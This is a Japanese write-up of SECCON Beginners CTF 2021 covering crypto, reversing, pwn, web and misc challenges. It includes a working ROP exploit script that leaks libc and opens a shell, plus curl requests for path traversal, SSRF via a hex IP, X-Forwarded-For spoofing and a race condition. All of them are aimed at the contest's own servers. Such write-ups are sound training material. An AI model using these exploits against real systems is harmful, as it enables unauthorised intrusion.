SECCON Beginners CTF 2021 writeup

SECCON Beginners CTF 2021

yharima で参加.ついにメンバーが集まらず実質ぼっち参加だった(一人だけ最後2時間くらい参加してた). 2447pts で 46th でした.うーん….

[welcome] welcome

Discord に来るだろうと待機して最速で入れるゲーム.

ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}

おまけ

入れて即スコアボードみたら以下みたいになっててバグってたけど最速だったんだろうか? f:id:yharima:20210523175749p:plain

[crypto] simple_RSA

e がやたら小さいので, c の e乗根を取れば復号できるらしい.

ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}

from Crypto.Util.number import long_to_bytes
import gmpy

n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3
c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613

print(long_to_bytes(gmpy.root(c, e)[0]))

[crypto] Logical_SEESAW

説明がうまくできないので雑ですが暗号化される手順を追うと,

  • FLAG をバイナリにして2進数へ変換
  • 上記と同じ長さのランダムな key を生成
  • 50%の割合以下のどちらかとなるものを16個作成
    • flag[i]
    • flag[i] & key[i] の結果とする

なので,フラグが立ってるならかならずそこは正しい.一方で折れてる場合は怪しい. なので16個あるから全部フラグが折れてるなら確率的には折れてるのが正しそう,という判断をして bit を集めてきて文字列にする.

ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}

from Crypto.Util.number import long_to_bytes
cipher = [] # output.txt
flag = ''
for i in range(len(cipher[0])):
    c = ''
    for j in range(len(cipher)):
      c += cipher[j][i]
    if c == '0000000000000000':
      flag += '0'
    else:
      flag += '1'
print(long_to_bytes(int(flag, 2)))

[crypto] GFM

なんもよくわからんかったんだけど,どうやら SageMath のコードらしい? コードをみると行列計算していて,必要な情報は全部揃ってるのでドキュメント見ながら逆演算する. 実行環境はめんどかったので,オンラインの使った.

SIZE = 8
p = 331941721759386740446055265418196301559
MS = MatrixSpace(GF(p), SIZE)
key = MS.matrix([[(snip)]]) # output.txt
enc = MS.matrix([[(snip)]]) # output.txt
print(key.inverse() * enc * key.inverse())

あとはアスキー範囲内の数字の部分だけとってきて繋ぐ.

ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?}

[reversing] only_read

cmp で1文字づつ比較してるので比較部分だけとってきて繋ぐ.

$ objdump -M intel -d chall | grep 'cmp    al,' | awk -F ',' '{print $2}' | xargs -I% perl -e 'print chr(%)'
ctf4b{c0n5t4nt_f0ld1ng}

[reversing] children

最近乗り換えた Ghidra を使って解析すると,どうやら hoge 関数内でフラグを表示してそうであることがわかる. vvv 関数を解析すれば良さそうに思えるんだけど面倒なので,ひとまず条件関係なく表示させるように NOP で潰す. PID のところは ps auxf すればわかるのでそこはちゃんと入力した(そこも潰せばいいんだけど).

$ ./children
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!

Please give me my child pid!
16282
ok
Please give me my child pid!
16292
ok
Please give me my child pid!
16296
ok
Please give me my child pid!
16299
ok
Please give me my child pid!
16302
ok
Please give me my child pid!
16305
ok
Please give me my child pid!
16308
ok
Please give me my child pid!
16312
ok
Please give me my child pid!
16315
ok
Please give me my child pid!
16319
ok
How many children were born?
aaaaa
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

[reversing] please_not_trace_me

タイトルからしてもどうみても anti-debug が実装されていそう. 実際 ptrace するとデバッガ検知して落ちる. ひとまず Ghidra で解析しながら anti-debug ならどうせ ptrace 呼んでるんだろうと思って潰す. これで gdb が動くので,なんかフラグを decrypt してそうな rc4 に BP 仕掛けて実行するとフラグが出た.

Breakpoint 2, 0x0000555555555297 in main ()
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
RAX: 0x555555559280 ("ctf4b{d1d_y0u_d3crypt_rc4?}")

[reversing] be_angry

公式のサンプルをパクって angr 流す.

ctf4b{3nc0d3_4r1thm3t1c}

import angr

project = angr.Project("./chall", auto_load_libs=False)

@project.hook(0x402539)
def print_flag(state):
    print("FLAG SHOULD BE:", state.posix.dumps(0))
    project.terminate_execution()

project.execute()

[reversing] firmware

strings してみるとなんか色々なファイルが含まれているみたいで, 32 bit ARM のバイナリも転がっていそう. とりあえずバイナリを binwalk で取り出して Ghidra へ投げ込む. main 関数を追うとどうもサーバっぽくなっていて送られてきた文字列がフラグと一致してるかを検証している. この際,入力された文字と 0x53 で XOR をとり, DAT_00010ea4 の格納されているデータを比較している. なので, DAT_00010ea4 のデータを全部抜いて 0x53 で XOR をとればフラグになる.

ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}

[pwnable] rewriter

繋ぐと stack の状態が表示される.任意のアドレスを書き換えれるようなので return addr を書き換える.
バイナリも提供されていて, win 関数でフラグを表示しているのでそちらに書き換えてあげれば良い.

$ objdump -M intel -d chall | grep win
00000000004011f6 <win>:
$ nc rewriter.quals.beginners.seccon.jp 4103

[Addr]              |[Value]
====================+===================
 0x00007fff86f2e200 | 0x0000000000000000  <- buf
 0x00007fff86f2e208 | 0x0000000000000000
 0x00007fff86f2e210 | 0x0000000000000000
 0x00007fff86f2e218 | 0x0000000000000000
 0x00007fff86f2e220 | 0x0000000000000000  <- target
 0x00007fff86f2e228 | 0x0000000000000000  <- value
 0x00007fff86f2e230 | 0x0000000000401520  <- saved rbp
 0x00007fff86f2e238 | 0x00007f11ff334bf7  <- saved ret addr
 0x00007fff86f2e240 | 0x0000000000000001
 0x00007fff86f2e248 | 0x00007fff86f2e318

Where would you like to rewrite it?
> 0x00007fff86f2e238
0x00007fff86f2e238 = 0x4011f6

[Addr]              |[Value]
====================+===================
 0x00007fff86f2e200 | 0x3666313130347830  <- buf
 0x00007fff86f2e208 | 0x326532663638000a
 0x00007fff86f2e210 | 0x00000000000a3833
 0x00007fff86f2e218 | 0x0000000000000000
 0x00007fff86f2e220 | 0x00000000004011f6  <- target
 0x00007fff86f2e228 | 0x00007fff86f2e238  <- value
 0x00007fff86f2e230 | 0x0000000000401520  <- saved rbp
 0x00007fff86f2e238 | 0x00000000004011f6  <- saved ret addr
 0x00007fff86f2e240 | 0x0000000000000001
 0x00007fff86f2e248 | 0x00007fff86f2e318

ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

[pwnable] beginners_rop

タイトル通りに ROP する. BOF脆弱性があるので BOF して制御を奪って適当な GOT のアドレスを puts して libc addr を leak する. この際,最後にもう一度 main 関数のアドレスを積んでおいてもう1回 BOF できるようにしておく. 次は libc base addr がわかっているので onegadget でシェルを上げる.

% python beginners_rop.py
[+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done
7f03f5b52000
[*] Switching to interactive mode
$ ls -l
total 28
-r-xr-x--- 1 root pwn 17008 May 21 01:52 chall
-r--r----- 1 root pwn    20 May 21 01:52 flag.txt
-r-xr-x--- 1 root pwn    34 May 21 01:52 redir.sh
$ cat flag.txt
ctf4b{H4rd_ROP_c4f3}

src

from pwn import *
context.arch = 'amd64'
con = remote('beginners-rop.quals.beginners.seccon.jp', 4102)

payload = 'A' * 256
payload += pack(0x404050 + 0x100)
payload += pack(0x401283) # pop rdi
payload += pack(0x404018) # puts@got
payload += pack(0x401070) # puts@plt
payload += pack(0x401196)
con.sendline(payload)
con.recvline()

libc_base_addr = unpack(con.recvline().strip() + "\x00\x00") - 0x80aa0
print "%x" % libc_base_addr

payload = 'A' * 256
payload += pack(0x404050 + 0x100)
payload += pack(libc_base_addr + 0x4f3d5)
con.sendline(payload)
con.recvline()

con.interactive()

[web] osoba

なんかいかにもディレクトリトラバーサルしてください,みたいな URL なので ../flag してみるとフラグがでる.

% curl 'https://osoba.quals.beginners.seccon.jp/?page=../flag'
ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}

[web] Werewolf

ソースコードを読むと roleWEREWOLF ならフラグがでそう. namecolor は POST parameter に渡せばいけるんだけけどプロパティなので role=WEREWOLF とやってもうまくいかない. これ,内部的にはどうなってるんだろうと思って,以下のようなコードを実行すると {'name': None, 'color': None, '_Player__role': 'FORTUNE_TELLER'}

import random
class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])

    @property
    def role(self):
        return self.__role

player = Player()
print(vars(player))

なるほど, _Player__role を書き換えてあげればいいのね,ということで以下を実行するとフラグを得れる.

% curl -sfS 'https://werewolf.quals.beginners.seccon.jp/' --data-raw '_Player__role=WEREWOLF' | grep ctf4b
            <p id="flag">ctf4b{there_are_so_many_hackers_among_us}</p>

[web] check_url

ソースコードを読むと, REMOTE_ADDR が 127.0.0.1 でアクセスするとフラグがでるらしい. ただ, preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url) のように置換されてしまうので . は使えない. 127.0.0.1 は SSRF あるあるネタとして様々な表現ができるので順番にためす. * 2130706433: だめ * 017700000001: だめ * 0x7F000001: OK

というわけで,

% curl -sfS 'https://check-url.quals.beginners.seccon.jp/?url=0x7F000001' | grep ctf4b
          Hi, Admin or SSSSRFer<br>ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}        </h5>

[web] json

ソースを読むとまず, 192.168.111.0/24 からのアクセスに制限されていることがわかる. nginx の config を見ると以下の記述があって X-Forwarded-For を最初から送れば偽装できることがわかる.

    location / {
        proxy_pass   http://bff:8080;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

なので,まず以下のような curl を投げると内部からのアクセスに偽装することができる.

% curl -H 'X-Forwarded-For: 192.168.111.248' -X POST https://json.quals.beginners.seccon.jp/ -d '{"id": 2}'
{"error":"It is forbidden to retrieve Flag from this BFF server."}

次は id = 2 であればフラグがでるのだけどチェックされている. bff 側は json 形式に変換してチェックしているのに, api 側は body から取り出しているだけ.(いま見ると普通に jsonparser 使ってたので普通に見間違えてました). json の key って大文字とか小文字チェックしてるんだっけ?と思って投げてみたらうまくいった.

curl -H 'X-Forwarded-For: 192.168.111.248' -X POST https://json.quals.beginners.seccon.jp/ -d '{"id":2, "ID": 1}'
{"result":"ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}"}

[web] cant_use_db

DB 使ってないみたいなタイトルで実際ソースを見るとファイルに書き出している. すべての材料を揃えるのはお金が足りないんだけど,ロック処理とかしてないのですべての購入を同じタイミングで投げるといけるんじゃないかと思いやってみる. まず, sessionId を普通に curl を投げてとって,以下のリクエストをほぼ同時に投げる.

% curl -X POST 'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' -H 'Cookie: session=(snip)'
% curl -X POST 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' -H 'Cookie: session=(snip)'
% curl -X POST 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' -H 'Cookie: session=(snip)'

うまく買えたらあとは sessionId をセットして /eat を叩く.

% curl 'https://cant-use-db.quals.beginners.seccon.jp/eat' -H 'Cookie: session=(snip)'
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}

[misc] git-leak

objects 片っ端から漁るスクリプト書いたらでた.

$ ./solve.sh | grep ctf4b
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

src

#!/bin/bash

for dir in `ls .git/objects`; do
  for file in `ls .git/objects/$dir`; do
    git cat-file -p "$dir$file"
  done
done

[misc] Mail_Address_Validator

ソースをみると正規表現の実行をタイムアウトさせたらフラグが表示されるみたい. とりあえず適当に長いの投げてどれくらいかかるか見てみるかーと思って投げたらそのままタイムアウトしてフラグが出てしまった.

% perl -e 'print "a@" . "a" x 128' | nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

[misc] depixelization

ソースコードから [a-z][0-9] の画像を生成して気合で目 diff する.まじで気合.

ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}

まとめ

  • ぼっちは寂しい
  • Ghidra 最高
  • モンハンしてたやつはギルティ
  • Pwn 勉強不足
  • Crypto 無理
  • あと2, 3問は解きたかった